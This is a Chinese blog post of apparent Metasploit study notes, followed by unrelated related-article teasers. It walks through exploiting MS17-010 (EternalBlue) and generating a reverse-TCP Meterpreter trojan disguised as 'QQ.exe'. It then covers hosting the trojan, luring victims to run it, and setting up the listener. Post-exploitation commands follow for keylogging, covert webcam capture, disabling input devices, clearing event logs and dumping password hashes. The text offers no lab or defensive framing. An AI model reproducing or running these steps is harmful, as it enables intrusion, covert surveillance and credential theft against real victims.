我的内网渗透-metasploit基础

news2024/9/28 7:24:09

目录

MSF

postgresql

msf模块

永恒之蓝

木马下放

后渗透一些简单命令


MSF

Msfconsole是Metasploit框架的主要控制台界面。

开源的渗透软件

postgresql

使用的是postgresql数据库(metasploit所依载的数据库,没有他也可以运行metasploit框架)

作用:通过数据库可以记录相关的被msf模块收集渗透过的信息
 

systemctl start postgresql
#开启postgresql数据库

systemctl start postgresql
#查看数据库状态

systemctl enable postgresql
#开机自启动数据库





#在msf中的操作

msfdb init 
#初始化数据库

msfdb start 
#开启数据库

msfdb status
#查看数据库开启状态

db_connect -y /usr/share/metasploit-framework/config/database.yml
#连接数据库
#database.yml为数据库文件


db_nmap
#在msf中进行扫描,记录到数据库中。如果不加db就进行扫描,是不会记录到数据库中去的

hosts
#在msf中直接查看之前搜集的主机信息

services
#查看之前收集的目标主机的服务信息

 postgresql每次开机都是需要重新开启,重新连接msf的。如果没来连接想要一次性使用数据库的直接开启,然后输入密码就可以了

msf模块


exploits 渗透模块[攻击模块]

auxiliarys  辅助模块

payload  攻击载荷

encoders  编码模块

evasion  免杀模块

payload本质上是马前卒,用来建立与kali的连接,不能算是木马。建立连接之后,传送一个会话(meterpreter),连接会话


 

永恒之蓝

windows经典内核漏洞‘

①不需要与肉鸡交互,可以直接拿到管理员权限

②必须存在内核漏洞并且没有打补丁

```
!通过永恒之蓝等等内核漏洞来攻击拿到的会话,一般时管理员权限

①探测对方端口和系统版本,辨别是否存在永恒之蓝漏洞
MS17-010

②通过msfconsole检索ms17-010漏洞的相关脚本[脚本都是网上的黑客写完上传导msf]
MS17-010

③尝试对应的脚本进行渗透,查看可以修改的选项
msf6 exploit(windows/smb/ms17_010_eternalblue)>show options
msf6 exploit(windows/smb/ms17_010_eternalblue)>set rhost 192.168.48.128    --设置攻击模板为192.168.48.128
msf6 exploit(windows/smb/ms17_010_eternalblue)>run


④攻击后可以拿到一个meterpreter[会话]


---如果攻击不成功
①系统打过补丁
②系统出厂时就已经修补了漏洞 [旗舰版]
```

木马下放

---必须通过某种方式让肉鸡运行木马,不需要任何漏洞

①创建木马并下放给目标主机


在root目录的桌面下生成一个木马文件,木马文件连接的设备为192.168.0.107的9999的端口

msfvenom -p windows/x64/meterpreter/reverse tcp lhost=192.168.0.107 lport=9999 -f exe -o /root/Desktop/QQ.exe

②诱导[可以任何方法]用户下载apache服务根目录下的木马文件

systemctl start apache2  
#开启apache服务
#cd /var/www/html  ---进入到apache服务的根目录,很小皮差不多
#该目录下存在一些默认文件,需要删除。没删除影响肉鸡下载

python -m SimpleHTTPServer port
#用python2

python3-m http.server port
#用python3


 

③开启监听器,诱导肉鸡[被攻击机]打开木马。
 

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp   
#设置木马的payload(攻击载荷)

msf6 exploit(multi/handler) > set lhost 192.168.48.202
#设置木马连接地址 (一般是本机网卡)

msf6 exploit(multi/handler) > set lport 9999 
#设置木马连接端口(一般是本机端口)

注意:这里的参数要和木马生成的参数一致

 Meterpreter(后渗透模 msf的专属shell  比cmd shell 功能更加强大)

后渗透一些简单命令

getuid  ---查看当前用户

getsystem  --- 获取系统权限

getpid  ---获取当前meterpreter会话的pid号

sysinfo  ---查看系统信息

run  vnc  --- 通过vnc远程监视肉鸡

uictl enable/disable mouse    ---启用/禁用对方的鼠标

uictl enable/disable keyboard    ---启用/禁用对方的键盘

keyscan_start  开启键盘扫描记录

keyscan_dump 输出对方的输入记录

keyscan_stop 关闭

webcam_list   --查看对方的摄像头列表

webcam_snap   --调用对方的摄像头拍照

webcam_steam --实时开启肉鸡的摄像头[动态]

ps 显示当前肉鸡的进程


meterpreter > bg   --返回操作台【不会关闭当前会话】

sessions 查看会话

migrate + pid号 (进程迁徙) [需要管理权限]

clearev  ---清除系统日志 [需要管理员权限,属于后渗透部分]

hashdump ---提起肉鸡的设备账户名和对应的密码NTLM-hash值【前提时进行过进程迁移到系统进程-sam】

------[msf专用于渗透的高级会话]

meterpreter会话权限提升+后渗透+Linux渗透

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/637216.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vue中如何进行二维码生成与扫描?

Vue中如何进行二维码生成与扫描? 二维码是一种广泛应用于各种场合的编码方式,它可以将信息编码成一张二维图案,方便快捷地传递信息。在Vue.js中,我们可以使用一些库和组件来实现二维码的生成和扫描。本文将介绍如何在Vue中实现二…

高频RFID工业读写器在自动化产线上如何应用?

工业读写器在自动化生产上具有十分重要的作用,它可以对工业生产中的贴上RFID标签的各种零部件和产品,进行跟踪与识别。利用RFID技术进行非接触的物体识别和追踪,更好的掌握产线上的物料信息。 高频RFID工业读写器在自动化产线上如何应用&…

Android studio C++调试问题汇总

问题1:如下图所示,cpp目录不显示或cpp目录不显示C源文件。 此问题由由于abiFilter指定为armeabi,但armeabi架构已经不再支持的原因导致,将armeabi修改为armeabi-v7a或arm64等其他支持的架构即可,修改后如下图所示&…

致敬易语言,Excel衍生新型中文编程,Python用户:转折点到了

没有逃过被命运的捉弄 易语言作为中文编程里的老大,刚开始的时候,叫E语言。 创始人吴涛,地道的中国人,就是为了让中国人不再孜孜不倦的去追难懂的编程语言,降低开发门槛。 易语言的结局最终也没逃过被命运的捉弄&…

一款可以拿来做毕设的图书管理系统,简单易掌握,非常nice

项目介绍 项目简介 使用jsp、layui、mysql完成的图书馆系统,包含用户图书借阅、图书管理员、系统管理员界面,功能齐全。 项目详细介绍 本图书管理系统总体上分为前台页面显示和后台管理。 共包含三个大模块:用户、图书管理员、系统管理员…

全量程真空压力综合测量系统的高精度控制解决方案

摘要:针对工作范围在5~1.3Pa,控制精度在0.1%~0.5%读数的全量程真空压力综合测量系统技术要求,本文提出了稳压室真空压力精密控制的技术方案。为保证控制精度,基于动态平衡法,技术方案在高真空、低真空和正压三个区间内…

初识s3c2440A之ARM体系架构入门linux硬件

文章目录 前言一、环境平台的基本介绍二、ARM体系架构必备知识1. 计算机三大组成2. ARM的分类2.1 ARM Cortex-A系列2.2 ARM Cortex-R系列2.3 ARM Cortex-M系列 3. 2440ARM的系统架构 总结 前言 如果大家在前期学习了c语言,并且具备了一定的c语言功底,且学…

7 原子类

Java.util.concurrent.atomic 7.2 没有CAS之前 多线程环境中不使用原子类保证线程安全i(基本数据类型) class Test {private volatile int count 0;//若要线程安全执行执行count,需要加锁public synchronized void increment() {count;}pu…

二叉树前序遍历:在树叶掉落前,寻找根的方向

本篇博客会讲解力扣“144. 二叉树的前序遍历”的解题思路,这是题目链接。 先来审题: 由于本篇博客会使用C语言来实现这道题,最简单的解法自然是使用递归。所谓前序遍历,即按照“根、左子树、右子树”的顺序来遍历,当…

【新版】系统架构设计师 - 数据库系统

个人总结,仅供参考,欢迎加好友一起讨论 文章目录 架构 - 数据库系统考点摘要数据库系统模式数据库视图数据模型(基本数据模型)数据库完整性约束关系模型关系代数规范化理论候选键、主键、外键、主属性,非主属性求候选键…

【笔记】最优解人生

死前归零 如果在死亡之前没有将赚到的钱花完,那么剩下那些没花完的钱,就是你白白浪费的生命能量。 60岁以后,虽然医疗开支变大,但娱乐,衣物的开始会变小,总体上开销会越来越少。 如何“死前归零”呢&…

两两交换链表中的节点

题目描述 代码 /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* ListNode() : val(0), next(nullptr) {}* ListNode(int x) : val(x), next(nullptr) {}* ListNode(int x, ListNode *next) : val(x), next(next…

【备战秋招】每日一题:4月15日美团春招:题面+题目思路 + C++/python/js/Go/java带注释

2023大厂笔试模拟练习网站(含题解) www.codefun2000.com 最近我们一直在将收集到的各种大厂笔试的解题思路还原成题目并制作数据,挂载到我们的OJ上,供大家学习交流,体会笔试难度。现已录入200道互联网大厂模拟练习题&a…

简单实用折叠面板可以折叠收起展开内容区域

前端简单实用折叠面板可以折叠收起展开内容区域, 下载完整代码请访问uni-app插件市场地址: https://ext.dcloud.net.cn/plugin?id12860 效果图如下: 代码如下: # 简单实用折叠面板可以折叠收起展开内容区域。 #### 使用方法 使用方法 <!-- leftText:做标题 rigText:…

智能算法终极大比拼,以CEC2005测试函数为例,十种智能算法直接打包带走,不含任何套路!

包含人工蜂群(ABC)、灰狼(GWO)、差分进化(DE)、粒子群(PSO)、麻雀优化(SSA)、蜣螂优化(DBO)、白鲸优化(BWO)、遗传算法(GA)、粒子群算法(PSO)&#xff0c;基于反向动态学习的差分进化算法&#xff0c;共十种算法&#xff0c;直接一文全部搞定&#xff01; 由于上一篇代码&…

赋能矿山 | KaiwuDB 智慧矿山解决方案

行业背景 随着勘探和矿产开发技术的提高以及能源需求量的大幅增加&#xff0c;矿山开发速度持续加快。随之而来的诸多弊端&#xff0c;如矿山资源综合利用率低、管理方式粗放、安全和环境污染等问题日益突出&#xff0c;使得矿业智能化建设迫在眉睫。 近年来&#xff0c;政府…

【算法与数据结构】160、LeetCode相交链表

文章目录 一、题目二、解法三、完整代码 所有的LeetCode题解索引&#xff0c;可以看这篇文章——【算法和数据结构】LeetCode题解。 一、题目 二、解法 思路分析&#xff1a;这道题题目蛮长的。说的大概意思就是对比指针地址&#xff0c;只要相等了&#xff0c;那就是相交节点。…

华为OD机试之执行时长(Java源码)

执行时长 题目描述 为了充分发挥GPU算力&#xff0c;需要尽可能多的将任务交给GPU执行&#xff0c;现在有一个任务数组&#xff0c;数组元素表示在这1秒内新增的任务个数且每秒都有新增任务。 假设GPU最多一次执行n个任务&#xff0c;一次执行耗时1秒&#xff0c;在保证GPU不空…

论文解读 | 机器人路径跟踪的受控纯追踪法

原创 | 文 BFT机器人 01 摘要 这篇文章是关于机器人路径跟踪的受控纯追踪算法的研究。文章介绍了传统的纯追踪算法以及相关变体&#xff0c;并提出了受控纯追踪算法作为本文的主要贡献。该算法旨在适应实际环境中的服务和工业移动机器人&#xff0c;提供方法来调整机器人的平移…

关于spring boot报javax/servlet/MultipartConfigElement错误以及的问题

springboot在启动时报java.lang.NoClassDefFoundError: javax/servlet/MultipartConfigElement 解决方法&#xff1a;将pom.xml文件中的provided删掉